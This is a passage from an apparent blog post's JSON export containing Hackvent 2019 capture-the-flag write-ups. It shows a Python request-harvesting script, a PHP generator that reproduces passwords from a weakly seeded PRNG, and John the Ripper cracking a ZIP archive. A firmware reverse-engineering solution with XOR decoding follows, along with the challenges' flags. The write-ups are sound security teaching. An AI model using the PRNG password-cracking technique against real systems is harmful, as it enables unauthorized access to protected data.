https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-26-300x107.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-26-768x274.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-26.png 1053w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p>The link to the ZIP file is: <a href=\"http:\/\/whale.hacking-lab.com:23023\/tmp\/mcia-data.zip\">http:\/\/whale.hacking-lab.com:23023\/tmp\/mcia-data.zip<\/a>. If I re-submit a request with the same username &#8216;mcia&#8217; this archive gets overwritten but a new password is assigned. <\/p>\n\n\n<p>Because we can not choose the username &#8216;santa&#8217; we probably have to decrypt Santas ZIP file. This was confirmed after finding the indexable tmp folder on the webserver and the oldest ZIP archive being Santa&#8217;s one. <\/p>\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"549\" height=\"432\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-27.png\" alt=\"\" class=\"wp-image-1327\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-27.png 549w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-27-300x236.png 300w\" sizes=\"auto, (max-width: 549px) 100vw, 549px\" \/><\/figure>\n\n\n<p>I couldn&#8217;t find anything suspicious in the phpinfo.php file, therefore I moved on. Apparently this really is about password cracking. The generated passwords were always 12 characters long. I collected many passwords with this script:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import requests\nURL = 'http:\/\/whale.hacking-lab.com:23023\/archive.php'\nheaders = {\"Content-Type\": \"application\/x-www-form-urlencoded\",\n            \"Connection\" : \"keep-alive\"}\ndata = 'username=mcia&amp;req%5B%5D=candle&amp;req%5B%5D=ball15&amp;req%5B%5D=cake&amp;req%5B%5D=blindball'\npw_text = \"Your one-time Password is: &lt;strong>\"\npw_length = 12\nwhile True:\n    r = requests.post(URL, data = data, headers = headers)\n    #print(r.text)\n    i = r.text.index(pw_text) + len(pw_text)\n    password = r.text[i:(i + pw_length)]\n    print(password)<\/pre>\n\n\n<p>I saved some hundreds of passwords to a file and generated a password charset.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python hv23_pw.py > passwords.txt\n$ cat passwords.txt | sed 's\/.\/&amp;\\n\/g' | LC_COLLATE=C sort -u | tr -d '\\n'\n23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz<\/pre>\n\n\n<p>Not all letters and numbers are used in the charset. &#8216;1&#8217;, &#8216;I&#8217;, &#8216;N&#8217;, &#8216;O&#8217;, &#8216;l&#8217;, &#8216;n&#8217;, &#8216;o&#8217; are left out. I googled the character set I found and was surprised by the result!  <a href=\"https:\/\/devco.re\/blog\/2019\/06\/21\/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en\/\">https:\/\/devco.re\/blog\/2019\/06\/21\/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en\/<\/a> <\/p>\n\n\n<p>This matches the title of the challenge, is about password cracking 12 character long passwords with the same character set I had found. <\/p>\n\n\n<p>I implemented a random password generator like in the link, but obviously in PHP.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/**\n*\n* Inspirations:\n* - https:\/\/devco.re\/blog\/2019\/06\/21\/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en\/\n* - https:\/\/stackoverflow.com\/questions\/6101956\/generating-a-random-password-in-php\n**\/\n$alphabet1 = \"23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz\";\n$alphabet2 = \"ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz\";\n$alphabet3 = \"23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ\";\n$alphabet4 = \"abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ\";\n$alphabet5 = \"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789\";\n$alphabet6 = \"ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789\";\n$counter = 0;\n\/\/Just run... :)\nwhile (true){\n\t$pass1 = array();\n\t$pass2 = array();\n\t$pass3 = array();\n\t$pass4 = array();\n\t$pass5 = array();\n\t$pass6 = array();\n\t\/\/12 character password\n\t$alphaLength = strlen($alphabet1) - 1;\n\t\/\/set initialization vector\n\tsrand($counter);\n\t$counter++;\n\tfor ($i = 0; $i &lt; 12; $i++) {\n        $n = rand(0, $alphaLength);\n        $pass1[] = $alphabet1[$n];\n        $pass2[] = $alphabet2[$n];\n        $pass3[] = $alphabet3[$n];\n        $pass4[] = $alphabet4[$n];\n        $pass5[] = $alphabet5[$n];\n        $pass6[] = $alphabet6[$n];\n    }\n    print(implode($pass1).\"\\n\");\n    print(implode($pass2).\"\\n\");\n    print(implode($pass3).\"\\n\");\n    print(implode($pass4).\"\\n\");\n    print(implode($pass5).\"\\n\");\n    print(implode($pass6).\"\\n\");\n}\n?><\/pre>\n\n\n<p>Next step is to crack the password with John The Ripper.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ zip2john Santa-data.zip > zip.hash\n$ php gen.php | john --stdin zip.hash\nUsing default input encoding: UTF-8\n\t\t\t  Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256\/256 AVX2 8x])\n\t\t\t  Will run 2 OpenMP threads\n\t\t\t  Press Ctrl-C to abort, or send SIGUSR1 to john process for status\n\t\t\t  Kwmq3Sqmc5sA     (Santa-data.zip\/flag.txt)\n\t\t\t  1g 0:00:13:40  0.001218g\/s 31688p\/s 31688c\/s 31688C\/s WbUTAyk5kxBT..mLt5JdhVzhWE\n\t\t\t  Use the \"--show\" option to display all of the cracked passwords reliably\n\t\t\t  Session completed\n<\/pre>\n\n\n<p>The password took around 13 minutest to be cracked in my virtual machine.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ 7z x ..\/Santa-data.zip -pKwmq3Sqmc5sA\n...\n$ cat flag.txt\nHV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}<\/pre>\n\n\n<p><strong>Flag: HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.24 ham radio (Author: DrSchottky &#8212; Level: leet)<\/h1>\n\n\n<p><strong>Description:<\/strong> <br \/>Elves built for santa a special radio to help him coordinating today&#8217;s presents delivery.<br \/><br \/><strong>Resources:<\/strong> <br \/><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/19bf7592-f3ee-474c-bf82-233f270bbf70.zip\">19bf7592-f3ee-474c-bf82-233f270bbf70.zip<\/a><br \/><br \/><strong>Hints:<\/strong> <br \/>As little present and in order not to screw up your whole christmas, you have 3 whole days to solve this puzzle. Happy christmas!<\/p>\n\n\n<p><strong>Solution: <\/strong><br \/>Last day of Hackvent and there is a Reverse Engineering challenge which gives full points for three days.. This must be a hard one&#8230; :\/ <\/p>\n\n\n<p>First step was to find out a bit more about the binary. Strings already returned some useful information:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ strings brcmfmac43430-sdio.bin\n...\nUm9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U\/\npGnexmon_ver: 2.2.2-269-g4921d-dirty-16\nwl%d: Broadcom BCM%s 802.11 Wireless Controller %s\n...\n43430a1-roml\/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206\nFWID 01-ef6eb4d3<\/pre>\n\n\n<p>And there we have a Base64 decoded string with a nice little hint:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ strings brcmfmac43430-sdio.bin | grep Um | base64 --decode\nRoses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?<\/pre>\n\n\n<p>Using google and the information I got reveals some more useful information:<\/p>\n\n\n<ul class=\"wp-block-list\"><li>Broadcom BCM43430 is a wireless chip used on the Raspberry 3<\/li><li>DrSchottky made pull requests to the <a href=\"https:\/\/github.com\/seemoo-lab\/nexmon\">Nexmon project<\/a><\/li><li><a href=\"https:\/\/github.com\/seemoo-lab\/nexmon\">Nexmon<\/a> was used to patch the original binary file<\/li><\/ul>\n\n\n<p>The first idea was to run the driver in an emulated environment, but this looked to complicated. Therefore I went for a static analysis with Ghidra. Starting point for the analysis is obviously the base64 encoded string. <\/p>\n\n\n<p>I mostly worked with the pseudo code of Ghidra and used the Assembly view for verification and getting the data values.<\/p>\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-4.png\"><img loading=\"lazy\" decoding=\"async\" width=\"826\" height=\"752\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-4.png\" alt=\"\" class=\"wp-image-1212\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-4.png 826w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-4-300x273.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-4-768x699.png 768w\" sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/a><\/figure>\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5.png\"><img loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5-749x1024.png\" alt=\"\" class=\"wp-image-1213\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5-749x1024.png 749w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5-220x300.png 220w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5-768x1050.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-5.png 1118w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/a><\/figure>\n\n\n<p>I could find more information on the source code of the Nexmon project. Many variables and functions could be resolved with <a href=\"https:\/\/github.com\/seemoo-lab\/nexmon\/blob\/c40110857c70557fab2ffcdf9a56810e63d677c0\/patches\/common\/wrapper.c\">this wrapper class<\/a>. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">undefined4\nflag_calculator(undefined4 wlc,int cmd,undefined4 ioctl_buffer,undefined4 length,undefined4 wlc_if)\n{\n  undefined4 uVar1;\n  byte *pbVar2;\n  byte *pbVar3;\n  byte bStack57;\n  undefined4 uStack56;\n  undefined4 uStack52;\n  undefined4 uStack48;\n  undefined4 uStack44;\n  undefined4 uStack40;\n  undefined4 auStack36 [2];\n  argprintf_init(ioctl_buffer,length);\n  uStack56 = *(undefined4 *)PTR_DAT_00058e84;\n  uStack52 = *(undefined4 *)(PTR_DAT_00058e84 + 4);\n  uStack48 = *(undefined4 *)(PTR_DAT_00058e84 + 8);\n  uStack44 = *(undefined4 *)(PTR_DAT_00058e84 + 0xc);\n  uStack40 = *(undefined4 *)(PTR_DAT_00058e84 + 0x10);\n  auStack36[0] = *(undefined4 *)(PTR_DAT_00058e84 + 0x14);\n  if (cmd == 0xcafe) {\n    \/\/char *\nstrncpy(char *dst, char *src, unsigned int num)\n    func_0x00803cd4(ioctl_buffer,roses,length);\n    return 0;\n  }\n  if (cmd != 0xd00d) {\n    if (cmd != 0x1337) {\n      \/\/int\nwlc_ioctl(void *wlc, int cmd, void *arg, int len, void *wlc_if)\n      uVar1 = func_0x0081a2d4(wlc,cmd,ioctl_buffer,length,wlc_if);\n      return uVar1;\n    }\n    pbVar3 = &amp;bStack57;\n    pbVar2 = DAT_00058e88;\n    do {\n      pbVar3 = pbVar3 + 1;\n      pbVar2 = pbVar2 + 1;\n      *pbVar3 = *pbVar2 ^ *pbVar3;\n    } while (pbVar3 != (byte *)((int)auStack36 + 2));\n    \/\/char *\nstrncpy(char *dst, char *src, unsigned int num)\n    func_0x00803cd4(ioctl_buffer,&amp;uStack56,length);\n    return 0;\n  }\n  memcpy(PTR_DAT_00058e8c,0x800000,0x17);\n  return 0;\n}<\/pre>\n\n\n<p>It looks like in this function the flag is calculated. One important thing is the last function call, which appears to be <strong>memcpy<\/strong>. There we load 23 bytes (0x17) from the address 0x800000. This looks like memory from an external source is loaded. And according to this <a href=\"https:\/\/github.com\/seemoo-lab\/nexmon\/blob\/d5fd58656942d770e59764d88130b09d0a701c77\/firmwares\/bcm43430a1\/7_45_41_26\/definitions.mk#L13\">Makefile<\/a> at this address the rom.bin file is loaded.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ROM_FILE=rom.bin\nROMSTART=0x800000\nROMSIZE=0xA0000<\/pre>\n\n\n<p>The correct rom.bin file we find in a Github project of the same guys who wrote Nexmon: <a href=\"https:\/\/github.com\/seemoo-lab\/bcm_misc\/blob\/master\/bcm43430a1\/rom.bin\">https:\/\/github.com\/seemoo-lab\/bcm_misc\/blob\/master\/bcm43430a1\/rom.bin<\/a> The program flow of the disassembled function then probably looks like this:<\/p>\n\n\n<ol class=\"wp-block-list\"><li>cmd == 0xd00d &#8211;&gt; Copy the bytes from the rom<\/li><li>cmd == 0x1337 &#8211;&gt; XOR the bytes from the memory with a memory range in the firmware<\/li><\/ol>\n\n\n<p>Because XOR is a reversible function we can calculate the 5 first bytes of the memory range we need to get the whole flag. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">f = \"rom.bin\"\nrom_bytes = None\nhv19_bytes = b\"\\x48\\x56\\x31\\x39\\x7b\" #HV19{\nwith open(f, \"rb\") as f:\n  rom_bytes = f.read(0x17)\n# get 5 first bytes of the data in the firmware\nr = [hex(ord(a) ^ ord(b)) for a, b in zip(hv19_bytes,rom_bytes[:5])]\nprint(r)<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\n['0x9', '0xbc', '0x31', '0x3a', '0x68']<\/pre>\n\n\n<p>If we search for 0x9bc313a68 in the memory we find the corresponding memory address to be at 00058e94.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">f = \"rom.bin\"\nrom_bytes = None\nfw_bytes = b\"\\x09\\xbc\\x31\\x3a\\x68\\x1a\\xab\\x72\\x47\\x86\\x7e\\xe6\\x4a\\x1d\\x6f\\x04\\x2e\\x74\\x50\\x0d\\x78\\x06\\x3e\"\nwith open(f, \"rb\") as f:\n  rom_bytes = f.read(0x17)\n# get the flag\nr = ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(fw_bytes,rom_bytes)])\nprint(r)<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\nHV19{Y0uw3n7FullM4Cm4n}\n<\/pre>\n\n\n<p><strong>Flag: HV19{Y0uw3n7FullM4Cm4n}<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HACKvent\u2026 Initially, I didn&#8217;t want to participate at all &#8211; or at least not go all in and solve every challenge in time. I started solving the first ones and as the challenges became harder and of course more interesting &hellip; <a href=\"https:\/\/sigterm.ch\/?p=1172\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":1002,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,5],"tags":[8,21,22,32,37,38,39,44,45,54,65,66,68,69,72,80,81,84,97,110,111,114,115,125,126,128,131,142,143,164,165,167,171],"class_list":["post-1172","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-security","tag-0x90","tag-asm","tag-assembly","tag-burp","tag-capture-the-flag","tag-crypto","tag-ctf","tag-disassembler","tag-disassembly","tag-ghidra","tag-hacker","tag-hacking","tag-hacking-lab","tag-hackvent","tag-hackvent-2019","tag-hopper","tag-hv","tag-hv19","tag-linux","tag-offensive","tag-ollydbg","tag-owasp","tag-owasp-top-10","tag-python","tag-re","tag-reverse-engineering","tag-root","tag-shellcode","tag-shellscript","tag-web","tag-web-application-security","tag-write-up","tag-zap"],"_links":{"self":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/1172","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1172"}],"version-history":[{"count":0,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/1172\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/media\/1002"}],"wp:attachment":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1172"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1172"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1172"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}